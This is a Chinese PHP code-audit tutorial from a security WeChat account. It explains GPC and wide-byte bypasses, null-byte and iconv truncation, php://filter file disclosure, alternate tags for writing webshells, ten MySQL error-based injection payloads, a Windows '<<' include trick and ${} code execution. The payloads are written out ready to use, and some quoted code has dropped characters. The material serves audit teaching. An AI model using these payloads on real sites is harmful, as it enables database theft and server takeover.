代码审计技巧
一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
掌握技巧之后,代码审计就能事半功倍,也能帮助我们挖掘到更多更有价值的漏洞。
本文主要介绍PHP代码审计,我们会从怎么钻GPC等过滤、字符串常见的安全问题、PHP输入输出流、FUZZ挖掘漏洞以及正则表达式不严谨容易出现的问题等几个方面来介绍一些小技巧。
一、钻GPC等转义的空子
GPC会自动把我们提交上去的单引号等敏感字符给转义掉,这样我们的攻击代码就没法执行了,GPC是PHP天生自带的功能,所以是我们最大的天敌。不过不要担心,GPC并不是把所有变量都进行了过滤,反而人们容易忽视而又用得多的$_SERVER变量没有被GPC过滤,包括编码转换的过程中,部分情况下我们也是可以干掉GPC的转义符号,下面我们来仔细了解下。
(一)不受GPC保护的$_SERVER变量
GPC是用来过滤request中提交的数据,将特殊字符进行转义来防止攻击,在PHP5之后用$_SERVER取到的header字段不受GPC影响,所以当GPC开启的时候,它里面的特殊字符如单引号也不会被转义掉,另外一点是普通程序员很少会考虑到这些字段被修改。而在header注入里面最常见的是user-agent、referer以及client-ip/x-forward-for,因为大多的Web应用都会记录访问者的IP以及referer等信息。同样的$_FILES变量也一样不受GPC保护。
测试代码如下:
<?php
echo 'GPC'.get_magic_quotes_gpc();
echo '<br /> client-ip = '.$_SERVER["HTTP_CLIENT_IP"];
echo '<br />$_GET[a] = '.$_GET['a'];
测试截图见下图。
(二)编码转换问题
《漏洞挖掘与防范(一)》介绍过宽字节注入,这就是一种非常典型的编码转换问题导致绕过GPC的方式。我们之前的举例说明,给一个查询页面ID参数请求/1.php?id=-1%df’and 1=1%23时,这时MySQL运行的SQL语句为:
select * from user where id=’1運’ and 1=1#’
这是由于单引号被自动转义成\’,前面的%df和转义字符\反斜杠(%5c)组合成了%df%5c,也就是“運”字,这时候单引号依然还在,于是成功闭合了前面的单引号。
这个例子讲的是PHP与MySQL交互过程中发生编码转换导致的问题,而其实只要发生编码转换就有可能出现这种问题,也就是说在PHP自带的编码转换函数上面也会存在这个问题,比如mb_convert_encoding()函数。
我们来证实一下,代码如下:
<meta http-equiv="Content-Type" content="text/html;
charset=utf-8"/>
<?php
$sql="where id='".urldecode("-1%df%5c' -- ")."'";
print_r(mb_convert_encoding($sql,"UTF-8","GBK"));
?>
这里要注意的是,把网页和文件编码都设置成UTF-8,不然浏览器会自动转码,这段代码是把UTF-8编码转换成GBK,运行这段代码,输出如下:
where id='-1運' -- '
可以看到也成功闭合了前面的单引号。
这种方式造成的SQL注入也有不少先例,比如ecshop就出过多次这个问题,我们来看看出现这个问题的核心代码,代码位置在includes/cls_iconv.php文件的chinese类中的Convert()函数:
function Convert($source_lang,$target_lang,$source_string = '')
{
/******省略****/
if(($this->iconv_enabled || $this->mbstring_enabled)&&!($this-> config['source_lang'] == 'GBK' && $this->config['target_lang'] == 'BIG-5'))
{
if($this->config['target_lang']!= 'UNICODE')
{
$string = $this->_convert_iconv_mbstring($this-> SourceText,$this->config['target_lang'],$this-> config['source_lang']);
/*如果正确转换*/
if($string)
{
return $string;
}
}
else
{
$string = '';
$text = $SourceText;
while($text)
{
if(ord(substr($text,,1))> 127)
{
if($this->config['source_lang']!= 'UTF-8')
{
$char = $this->_convert_iconv_mbstring(substr($text,,2),'UTF-8',$this->config ['source_lang']);
}
else
这个函数的作用是将UTF-8的编码转换成GBK,本函数调用到$this->_convert_iconv_mbstring()函数,我们跟进去看看,代码如下:
function _convert_iconv_mbstring($string,$target_lang,$source_lang)
{
if($this->iconv_enabled)
{
$return_string = @iconv($source_lang,$target_lang,$string);
if($return_string!== false)
{
return $return_string;
}
}
if($this->mbstring_enabled)
{
if($source_lang == 'GBK')
{
$source_lang = 'CP936';
}
if($target_lang == 'GBK')
{
$target_lang = 'CP936';
}
$return_string = @mb_convert_encoding($string,$target_lang,$source_lang);
if($return_string!== false)
可以看到最终调用iconv()函数或者mb_convert_encoding()函数来进行转码,如果调用这个函数之后没有再次过滤,则会存在注入问题。
二、神奇的字符串
机器在语言编码转换的时候,经常会出现各种各样的异常,这些神奇的字符串就有可能组合成一堆乱码出来,也有可能直接把程序搞崩溃掉,不过总有那么一些字符,可以帮助我们在利用漏洞的时候变得更简单一些,下面我们就来看看是哪些函数这么调皮。
(一)字符处理函数报错信息泄露
页面的报错信息通常能泄露文件绝对路径、代码、变量以及函数等信息,页面报错有很多情况,比如参数少了或者多了、参数类型不对、数组下标越界、页面超时,等,不过并不是所有情况下页面都会出现错误信息,要显示错误信息需要打开在PHP配置文件php.ini中设置display_errors=on或者在代码中加入error_reporting()函数,error_reporting()函数有几个选项来配置显示错误的等级,列表如下:
E_WARNING
E_PARSE
E_NOTICE
E_CORE_ERROR
E_CORE_WARNING
E_COMPILE_ERROR
E_COMPILE_WARNING
E_USER_ERROR
E_USER_WARNING
E_USER_NOTICE
E_STRICT
E_RECOVERABLE_ERROR
E_ALL
其中最常用的是E_ALL、E_WARNING、E_NOTICE、E_ALL代表提示所有问题,E_WARNING代表显示错误信息,E_NOTICE则是显示基础提示信息。
大多数错误提示都会显示文件路径,在渗透测试中,经常遇到webshell的场景要用到文件绝对路径,所以这个利用页面报错来获取Web路径的方式也比较实在了,用户提交上去的数据后端大多是以字符串方式处理,所以利用字符串处理函数报错成了必不可少的方法,对于利用参数来报错的方式,给函数传入不同类型的变量是最实用的方式。
大多数程序会使用trim()函数对用户名等值去掉两边的空格,这时候如果我们传入的用户名参数是一个数组,则程序就会报错,测试代码如下:
<?php
echo trim($_GET['a']);
当我们请求/1.php?a[]=test时,程序报错如下,如下图所示。
类似的函数还有很多很多,比如:
addcslashes()、addslashes()、bin2hex()、chop()、chr()、chunk_split()、convert_cyr_string()、convert_uudecode()、convert_uuencode()、count_chars()、crc32()、crypt()、echo()、explode()、fprintf()、get_html_translation_table()、hebrev()、hebrevc()、html_entity_decode()、htmlentities()、htmlspecialchars_decode()、htmlspecialchars()、implode()、join()、levenshtein()、localeconv()、ltrim()、md5_file()、md5()、metaphone()、money_format()、nl_langinfo()、nl2br()、number_format()、ord()、parse_str()、print()、printf()、quoted_printable_decode()、quotemeta()、rtrim()、setlocale()、sha1_file()、sha1()、similar_text()、soundex()、sprintf()、sscanf()、str_ireplace()、str_pad()、str_repeat()、str_replace()、str_rot13()、str_shuffle()、str_split()、str_word_count()、strcasecmp()、strchr()、strcmp()、strcoll()、strcspn()、strip_tags()、stripcslashes()、stripos()、stripslashes()、stristr()、strlen()、strnatcasecmp()、strnatcmp()、strncasecmp()、strncmp()、strpbrk()、strpos()、strrchr()、strrev()、strripos()、strrpos()、strspn()、strstr()、strtok()、strtolower()、strtoupper()、strtr()、substr_compare()、substr_count()、substr_replace()、substr()、trim()、ucfirst()、ucwords()、vfprintf()、vprintf()、vsprintf()、wordwrap()、strtolower()、strtoupper()、ucfirst()、ucwords()、ucfirst()、ucwords(),等等函数。
(二)字符串截断
如果你以前做过渗透测试,那字符串截断应该是我们比较熟悉的一个利用方式,特别是在零几年,在利用文件上传漏洞的时候,经常会用到抓包,然后修改POST文件上传数据包里面的文件,在文件名里面加一个%00,用来绕过文件扩展名的检查,又能把脚本文件写入到服务器中,下面我们就来了解下其中的原理吧。
1、%00空字符截断
字符串截断被利用最多的是在文件操作上面,通常用来利用文件包含漏洞和文件上传漏洞,%00即NULL是会被GPC和addslashes()函数过滤掉,所以要想用%00截断需要GPC关闭以及不被addslashes()函数过滤,另外在PHP5.3之后的版本全面修复了文件名%00截断的问题,这个版本以后也是不能用这种方式截断。为什么PHP在文件操作的时候用%00会截断字符?PHP基于C语言开发,%00在URL解码后为\0,\0在C语言中是字符串结束符,遇到\0的时候以为到了字符串结尾,不再读取后面的字符串,自然而然的就理解成了截断。
做一个简单的测试,测试代码(1.php)
<?php
include($_GET['f'].'.php');
在同目录下面新建文件2.txt,内容为输出phpinfo信息代码,当我们请求/1.php?f=2.txt%00时,实际上包含了2.txt这个文件,正常执行phpinfo代码。
2、iconv函数字符编码转换截断
iconv()函数用来做字符编码转换,比如从UTF-8转换到GBK,字符集的编码转换总会存在一定的差异性,导致部分编码不能被成功转换,也就是出现常说的乱码。在使用iconv()函数转码的时候,当遇到不能处理的字符串则后续字符串会不被处理。
我们来做一个简单的测试,测试代码如下:
<?php
$a='1'.chr(130).'2';
echo $a;
echo '<br />';
echo iconv("UTF-8","gbk",$a);
我们执行这段代码的行结果如下图所示。
可以看到第一次输出$a变量,1和2都被正常输出,当使用iconv()函数转换编码后,从chr(130)字符开始之后的字符串都没有输出,已经被成功截断。经过fuzz测试,当我们文件名中有chr(128)到chr(255)之间都可以截断字符。
这种截断有很多利用常见,下面我们来看一个真实的案例,任意文件上传漏洞,漏洞发生在/module/mod_tool.php文件第89行起,img_create()函数,代码如下:
public function img_create()
{
$file_info =& ParamHolder::get('img_name',array(),PS_FILES);
if($file_info['error'] > 0)
{
Notice::set('mod_marquee/msg',__('Invalid post file data!'));
Content::redirect(Html::uriquery('mod_tool','upload_img'));
}
if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i',$file_info["name"]))
{
Notice::set('mod_marquee/msg',__('File type error!'));
Content::redirect(Html::uriquery('mod_marquee','upload_img'));
}
if(file_exists(ROOT.'/upload/image/'.$file_info["name"]))
{
$file_info["name"] = Toolkit::randomStr(8).strrchr($file_info["name"],".");
}
if(!$this->_savelinkimg($file_info))
{
Notice::set('mod_marquee/msg',__('Link image upload failed!'));
Content::redirect(Html::uriquery('mod_marquee','upload_img'));
}
这是一个文件上传的代码,其中此漏洞的关键代码在:
if(!$this->_savelinkimg($file_info))
{
Notice::set('mod_marquee/msg',__('Link image upload failed!'));
Content::redirect(Html::uriquery('mod_marquee','upload_img'));
}
在这里调用_savelinkimg()函数保存文件,跟进该函数,函数代码如下:
private function _savelinkimg($struct_file)
{
$struct_file['name'] = iconv("UTF-8","gb2312",$struct_file['name']);
echo $struct_file['name'];
move_uploaded_file($struct_file['tmp_name'],ROOT.'/upload/image/'.$struct_ file['name']);
return ParamParser::fire_virus(ROOT.'/upload/image/'.$struct_file['name']);
}
代码中:
$struct_file['name'] = iconv("UTF-8","gb2312",$struct_file['name']);
对文件名进行转码,之后:
move_uploaded_file($struct_file['tmp_name'],ROOT.'/upload/image/'.$struct_file['name']);
写入文件,这里就出现了我们上面说到的编码转换,最终导致可以上传任意文件。
三、php://输入输出流
提到流,大家会想到水流或者数据流,PHP提供了php://的协议允许访问PHP的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。主要提供如下访问方式来使用这些封装器:
php://stdin
php://stdout
php://stderr
php://input
php://output
php://fd
php://memory
php://temp
php://filter
使用最多的是php://input、php://output以及php://filter,其中php://input是可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据,但是php://input不能在获取“multipart/form-data”方式提交的数据。我们做一个测试,测试代码如下:
<?php
echo file_get_contents("php://input");
当我们用POST提交a=111111时,a=111111被直接打印出来,如下图所示。
而php://output是一个只写的数据流,跟php://input相反,php://input是读取POST提交上来的数据,而php://output则是将流数据输出。
php://filter是一个文件操作的协议,可以对磁盘中的文件进行读写操作,效果类似于readfile()、file()和file_get_contents(),它有多个参数可以进行相应的操作,说明如下表所示。
我们来测试使用php://filter写文件,测试代码如下:
<?php
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>
当我们执行代码的时候,会像脚本同目录下写入“example.txt”文件,内容为rot13编码过的“Hello World”,而php://filter还可以用来读文件,如果有远程文件保护漏洞,类似如下的代码:
<?php
include($_GET['f']);
?>
正常情况下如果我们直接传入一个文件名,则是会被include函数包含并执行,如果我们想读取Web目录下的PHP文件,则可以通过请求:
/1.php?f=php://filter/convert.base64-encode/resource=1.php
来将文件进行Base64编码后输出,输入结果如下图所示。
四、PHP代码解析标签
PHP有几种解析标签的写法来标识PHP代码,比如最标准的<?php?>,当PHP解析器找到这个标签的时候,就会执行这个标签里面的代码,实际上除了这种写法外还有一些标签,分别如下:
1)脚本标签:<script language="php">...</script>,这种方式写法有点像JavaScript,不过也是可以正常解析PHP代码。
2)短标签:<?…?>,使用短标签前需要在php.ini中设置short_open_tag=on,默认是on状态。
3)asp标签:<%…%>,在PHP 3.0.4版后可用,需要在php.ini中设置asp_tags=on,默认是off。
因为有的程序在后台配置模板的时候,禁止提交<?php?>这样的标签来执行PHP代码,但是大部分程序会存在过滤不全的问题,所以这些各式各样的写法常常用于留后门以及绕过Web程序或者waf的防护写入webshell。
我们来测试脚本标签方式,测试代码如下:
<script language="php">
phpinfo()
</script>
执行后如下图所示。
可以看到PHP代码可以正常解析执行。
五、fuzz漏洞发现
fuzz指的是对特定目标的模糊测试,这里要注意的是,针对特定目标甚至说是特定请求,它不同于漏洞扫描器进行批量漏洞扫描,不过它们的初衷都是以发现bug(漏洞)为目的。本文主要介绍代码安全,所以我们后面所说的fuzz都是安全方向的fuzz。fuzz在很早就应用在软件测试领域,并且发现了大量不可预知的漏洞,fuzz到底是怎么样的一个东西,我们来通过它的工作原理流程认识一下,大概流程如下图所示。
举个最简单的读文件例子,当我们用Office Word打开doc文档的时候,Word软件会按照指定的格式读取文件的内容,如果文件格式出现异常字符,Word无法解析,而又没有提前捕捉到这种类型的错误,则有可能引发Word程序崩溃,这就是一个bug,这时候我们就可以通过工具生成大量带有异常格式或者字符的doc文档,然后调用Word程序去读取,尝试发现更多的bug,这就是一个完整的fuzz测试例子。虽然它不是一种纯白盒的漏洞挖掘方法,但我们在白盒审计过程中,也经常需要用到fuzz的方式来寻找漏洞利用方法。
目前互联网上已经有不少fuzz工具来专门做各种各样的fuzz测试,比如无线、Web、浏览器、协议,等等,在Web安全这块,使用比较多的像pywebfuzz,基于Python开发,不过相对来说这个工具年代还是有点久了,可以用的payload还算比较全,比较常见的文件包含、文件上传、SQL注入、XSS等都支持,详细的列表如下图所示。
playload文件在各个目录下面,我们打开其中一个payload规则文件后,可以看到类似如下的规则:
cFc%20%20%20
dBm%20%20%20
cfm......
cfml......
cfc.......
dbm......
cFm......
cFml......
cFc......
dBm......
cfm%20%20%20...%20.%20..
cfml%20%20%20...%20.%20..
cfc%20%20%20...%20.%20..
dbm%20%20%20...%20.%20..
cFm%20%20%20...%20.%20..
前面介绍iconv函数字符编码转换截断时提到过一个字符串枚举来尝试寻找能导致iconv()函数异常而截断数据,也是fuzz非常典型的一种利用方式,当时fuzz用的代码非常粗糙,如下所示:
<?php
for($i=0;$i<1000;$i++)
{
$a='1'.chr($i).'2';
echo $i.' -- ';
echo iconv("UTF-8","gbk",$a);
echo '<br />';
}
运行脚本后结果如下,当遇到不能正常转码的时候出现字符串截断,并且iconv()函数报出一个notice提示,如下图所示。
六、不严谨的正则表达式
很多程序在判断文件上传扩展名、URL解析、入库参数等值的时候,都会使用正则表达式,正则表达式确实是一个非常方便和灵活的东西,能够帮助我们少写很多逻辑处理的代码,但是正则表达式也跟程序语言一样,规则写得不严谨,就会导致安全问题产生,至今已经有很多程序在这块栽了跟头,常见的几种问题如下。
1、没有使用^和$限定匹配开始位置
举例来说明,通过HTTP_CLIENT_IP来获取用户IP,其中这个值是可以被用户修改的,所以一般都会在服务端再过滤一下,看看是否被修改过,而过滤不严格的正则表达式很多都写成“\d+\.\d+\.\d+\.\d+”的形式,用代码来看看它的问题的在哪:
<?php
$ip=$_SERVER['HTTP_CLIENT_IP'];
if(preg_match('/\d+\.\d+\.\d+\.\d+/',$ip))
{
echo $ip;
}
当请求头里面添加“client-ip:127.0.0.1aa”时输出127.0.0.1aa,同样通过检测,严谨一点的正则应该写成“^\d+\.\d+\.\d+\.\d+$”。
2、特殊字符未转义
在正则表达式里,所有能被正则表达式引擎解析的字符都算是特殊字符,而在匹配这些字符的原字符时需要使用反斜杠(\)来进行转义,如果不进行转义,像样英文句号(.)则可用来表示任何字符,存在安全隐患。下面介绍一个例子,代码如下:
<?php
$filename=urldecode('xxx.php%00jpg');
if(preg_match('/.(jpg|gif|png|bmp)$/i',$filename))
{
file_put_contents($filename,'aa');
}
else
{
echo '不允许的文件扩展名';
}
?>
从这段代码的意思可以看出,程序员原本是想检查文件的扩展名,如果不是图片文件则不允许上传,但是在检查扩展名的时候,正则表达式里面扩展名前面的点(.)没有进行转义,导致变成了全匹配符。如果这时候提交的文件名是'xxx.php%00jpg',则会绕过检查并写入一个PHP脚本文件。
七、十余种MySQL报错注入
利用数据库报错来显示数据的注入方式经常会在入侵中利用到,这种方法有一点局限性,需要页面有错误回显。而在代码审计中,经常会遇到没有正常数据回显的SQL注入漏洞,这时候我们就需要用报错注入的方式最快地拿到注入的数据。
早在很久以前就用到的数据类型转换报错是用得最多的一种方式,这种方式大多用在微软的SQL Server上,利用的是convert()和cast()函数,MySQL的报错SQL注入方式更多,不过多数人以为只有三种,分别是floor()、updatexml()以及extractvalue()这三个函数,但实际上还有很多个函数都会导致MySQL报错并且显示出数据,它们分别是GeometryCollection()、polygon()、GTID_SUBSET()、multipoint()、multilinestring()、multipolygon()、LINESTRING()、exp(),下面我们来看看它们具体的报错用法,需要注意的一点是,这些方法并不是在所有版本都通用,也有比较老的版本没有这些函数。
通常注入的SQL语句大多是"select*from phpsec where id=?”这种类型,这里我们就用这种形式来说明怎么利用,利用方式分别如下。
第一种:floor()
注入语句:
id=1 and(select 1 from(select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x)a)
SQL语句执行后返回的错误信息如下图所示。
通过截图我们可以看到MySQL出现了报错,并且显示出了当前的连接用户名。
第二种:extractvalue()
注入语句:
id = 1 and(extractvalue(1,concat(0x5c,(select user()))))
错误信息如下图所示。
第三种:updatexml()
注入语句:
id = 1 AND(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
错误信息:
[Err] 1105 - XPATH syntax error:'^$root@localhost^$'
第四种:GeometryCollection()
注入语句:
id = 1 AND GeometryCollection((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from(select root@localhost' AS `user()` from dual)`b`)' value found during parsing
第五种:polygon()
注入语句:
id = 1 AND polygon((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from(select root@localhost' AS `user()` from dual)`b`)' value found during parsing
第六种:multipoint()
注入语句:
id = 1 AND multipoint((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from(select 'root@localhost' AS `user()` from dual)`b`)' value found during parsing
第七种:multilinestring()
注入语句:
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from(select 'root@localhost' AS `user()` from dual)`b`)' value found during parsing
第八种:multipolygon()
注入语句:
id = 1 AND multipolygon((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from(select root@localhost' AS `user()` from dual)`b`)' value found during parsing
第九种:linestring()
注入语句:
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from(select 'root@localhost' AS `user()` from dual)`b`)' value found during parsing
第十种:exp()
注入语句:
id = 1 and EXP(~(SELECT*from(SELECT user())a))
错误信息:
[Err] 1690 - DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
八、Windows FindFirstFile利用
目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5,然后下载文件的时候通过保存在数据库里的文件ID读取出文件路径,一样也实现了文件下载,这样我们就无法直接得到我们上传的webshell文件路径,但是当在Windows下时,我们只需要知道文件所在目录,然后利用Windows的特性就可以访问到文件,这是因为Windows在搜索文件的时候使用到了FindFirstFile这一个winapi函数,该函数到一个文件夹(包括子文件夹)去搜索指定文件。
利用方法很简单,我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。我们来做个简单的测试,测试代码如下:
//1.php
<?php
include($_GET['file']);
再在同目录下新建一个文件名为“123456.txt”的文件,内容为phpinfo()函数,请求/1.php?file=1<<即可包含,效果如下图所示。
通过上面的截图我们可以看到成功包含了123456.txt文件。
这里我们要想,什么情况下才能利用这个特性?目前所有PHP版本都可用,PHP并没有在语言层面禁止使用>、<这些特殊字符,在函数层面来讲,这个特性并不是只有include()、require()这些文件包含函数或者file_get_contents()这类文件读取函数才可用,事实上还有很多个函数也一样是可用这个特性的,参见下表。
九、PHP可变变量
PHP可变变量指的一个变量的变量名可以动态地设置和使用,是PHP语言的一种特性,这个特性让我们在操作变量的时候更加灵活方便,但是同时也带来一些安全问题,我们在挖掘到代码执行漏洞的时候就经常需要用到可变变量来执行代码。
我们先用一段代码来理解什么是可变变量,代码如下:
<?php
$a='seay';
$$a='123';
echo $seay;
?>
在这段代码中,我们并没有直接定义$seay变量,但是我们来看看最终的输出$seay的结果是多少,如下图所示。
从截图中可以看到,输出变量$seay的值为“123”,这个123是在$$a赋值的,这时候$a被赋值了"seay",而$$a就相当于$'seay'。
部分PHP应用在写配置文件或者使用preg_replace()函数第二个参数赋值变量时,会用到双引号(")来代表string类型给变量赋值,在PHP语言中,单引号和双引号是有区别的,单引号代表纯字符串,而双引号则是会解析中间的变量,所以当使用双引号时会存在代码执行漏洞,我们来看一个测试,代码如下:
<?php
$a="${@phpinfo()}";
?>
当运行这段代码时,phpinfo()函数会成功执行,输出内容如下图所示。
这里有一个地方需要注意,代码${@phpinfo()}中的“@”符号是必须存在的,不然就无法执行,但是除了“@”符号还有其他的写法也一样可以,只要不影响PHP规范均可执行,举例如下:
1)花括号内第一个字符为空格:
$a = "${phpinfo()}";
2)花括号内第一个字符为TAB:
$a = "${ phpinfo()}";
3)花括号内第一个字符为注释符:
$a = "${/**/phpinfo()}";
4)花括号内第一个字符为回车换行符:
$a = "${phpinfo()}";
5)花括号内第一个字符为加号(+):
$a = "${+phpinfo()}";
6)花括号内第一个字符为减号(-):
$a = "${-phpinfo()}";
7)花括号内第一个字符为感叹号(!):
$a = "${!phpinfo()}";
除了这些之外还有一些如~、\等。
微信公众号:计算机与网络安全
ID:Computer-network